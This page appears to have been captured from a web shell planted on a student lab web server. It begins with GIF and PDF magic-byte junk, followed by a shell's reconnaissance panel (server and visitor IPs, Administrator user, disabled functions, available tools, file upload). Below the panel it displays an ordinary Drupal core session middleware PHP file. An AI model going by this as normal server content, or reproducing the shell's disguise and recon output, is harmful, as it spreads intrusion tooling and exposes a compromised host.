GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/lib/Drupal/Core/StackMiddleware/ |
Upload File : |
<?php namespace Drupal\Core\StackMiddleware; use Symfony\Component\DependencyInjection\ContainerAwareTrait; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpKernel\HttpKernelInterface; /** * Wrap session logic around a HTTP request. * * Note, the session service is not injected into this class in order to prevent * premature initialization of session storage (database). Instead the session * service is retrieved from the container only when handling the request. */ class Session implements HttpKernelInterface { use ContainerAwareTrait; /** * The wrapped HTTP kernel. * * @var \Symfony\Component\HttpKernel\HttpKernelInterface */ protected $httpKernel; /** * The session service name. * * @var string */ protected $sessionServiceName; /** * Constructs a Session stack middleware object. * * @param \Symfony\Component\HttpKernel\HttpKernelInterface $http_kernel * The decorated kernel. * @param string $service_name * The name of the session service, defaults to "session". */ public function __construct(HttpKernelInterface $http_kernel, $service_name = 'session') { $this->httpKernel = $http_kernel; $this->sessionServiceName = $service_name; } /** * {@inheritdoc} */ public function handle(Request $request, $type = self::MASTER_REQUEST, $catch = TRUE) { if ($type === self::MASTER_REQUEST && PHP_SAPI !== 'cli') { $session = $this->container->get($this->sessionServiceName); $session->start(); $request->setSession($session); } $result = $this->httpKernel->handle($request, $type, $catch); if ($type === self::MASTER_REQUEST && $request->hasSession()) { $request->getSession()->save(); } return $result; } }